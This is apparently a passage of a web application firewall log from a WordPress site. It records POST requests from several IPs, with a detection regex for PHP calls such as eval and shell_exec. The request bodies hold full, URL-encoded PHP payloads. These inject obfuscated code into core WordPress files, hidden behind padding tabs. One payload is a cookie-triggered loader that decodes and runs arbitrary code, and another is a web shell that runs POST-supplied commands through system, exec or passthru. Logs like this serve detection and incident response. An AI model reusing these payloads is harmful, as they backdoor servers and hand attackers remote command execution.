20%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:49:27","162.240.108.214","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:4379\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\nupgrade-insecure-requests:1\n\nqx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:49:34","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\ncontent-length:4402\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\naccept:*\/*\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 17:50:45","67.205.18.1","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%2526%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:5570\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvITpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nTg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520f